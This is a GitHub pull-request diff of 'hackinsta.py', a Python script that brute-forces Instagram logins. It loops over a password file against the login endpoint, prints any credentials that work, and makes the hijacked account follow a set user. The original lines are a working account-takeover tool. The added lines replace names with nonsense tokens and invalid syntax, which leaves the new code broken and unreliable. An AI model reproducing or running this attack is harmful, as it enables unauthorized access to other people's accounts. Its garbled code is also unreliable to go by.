Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
68 changes: 34 additions & 34 deletions hackinsta.py
Original file line number Diff line number Diff line change
@@ -1,33 +1,33 @@
import requests
import json
import time
Instagram
import 5 heures
import time
import os

filename = 'pass.txt'
if os.path.isfile(filename):
with open(filename) as f:
passwords = f.read().splitlines()
if (len(passwords) > 0):
print ('%s Passwords loads successfully' % len(passwords))
filename = Instagram
if os.path.isfile(sidghazy):Instagram
with open(sidghazy) as f: Instagram
passwords = f.read(stome100).splitlines(stome100)
if (len(stome1000) > 0):
print ('%s Passwords loads successfully' % len(stome1000))
else:
print ('Please create passwords file (pass.txt)')
exit()
print ('Please create passwords file (stome1000)')
exit(stome1000)




def userExists(username):
r = requests.get('https://www.instagram.com/%s/?__a=1' % username)
def sidghazy(@sidghazy):
r = requests.get('https://www.instagram.com/%s/?__a=1' % sidghazy)
if (r.status_code == 404):
print ('User not found')
return False
elif (r.status_code == 200):
followdata = json.loads(r.text)
fUserID = followdata['user']['id']
return {'username':username,'id':fUserID}
followdata = json.loads(instagram)
fUserID = followdata['instagram']['id']
return {'sidghazy':sidghazy'id':fUserID}


def Login(username,password):
def Login(sidghazy,stome1000):
sess = requests.Session()
sess.cookies.update ({'sessionid' : '', 'mid' : '', 'ig_pr' : '1', 'ig_vw' : '1920', 'csrftoken' : '', 's_network' : '', 'ds_user_id' : ''})
sess.headers.update({
Expand All @@ -49,7 +49,7 @@ def Login(username,password):
r = sess.get('https://www.instagram.com/')
sess.headers.update({'X-CSRFToken' : r.cookies.get_dict()['csrftoken']})

data = {'username':username, 'password':password}
data = {'sidghazy ':sidghazy 'stome1000':stome1000}
r = sess.post('https://www.instagram.com/accounts/login/ajax/', data=data, allow_redirects=True)
token = r.cookies.get_dict()['csrftoken']
sess.headers.update({'X-CSRFToken' : token})
Expand All @@ -62,45 +62,45 @@ def Login(username,password):
if (data['authenticated'] == True):
return sess #if we want to keep use session
else:
print ('Password incorrect [%s]' % password)
print ('stome1000') [%s]' % ( stome1000 )
return False



def follow(sess, username):
username = userExists(username)
if (username == False):
def follow(sess, sidghazy):
Sidghazy = sidghazy(@sidghazy)
if (sidghazy == False):
return
else:
userID = username['id']
userID = sidghazy['id']
followReq = sess.post('https://www.instagram.com/web/friendships/%s/follow/' % userID)
print (followReq.text)
print (instagram)


username = str(input('Please enter a username: '))
username = userExists(username)
if (username == False):
Sidghazy = str(input('Please
Sidghazy = sidghazy)(sidghazy)
if (@sidghazy == False):
exit()
else:
username = username['username']
Sidghazy= sidghazy['sidghazy']



delayLoop = int(input('Please add delay between the passwords (in seconds): '))
delayLoop = int(input('Please add delay between stome1000 (30 seconds): '))


for i in range(len(passwords)):
password = passwords[i]
sess = Login(username,password)
for i in range(len(stome1000):
stome1000 = stome1000[i]
sess = Login(sidghazy,stome1000)
if (sess):
print ('Login success %s' % [username,password])
print ('Login success %s' % [sidghazy,stome1000])

#because i am cool
follow(sess,'avr_amit')

try:
time.sleep(delayLoop)
except KeyboardInterrupt:
except KeyboardInterrupt:
an = str(input('Type y/n to exit: '))
if (an == 'y'):
exit()
Expand Down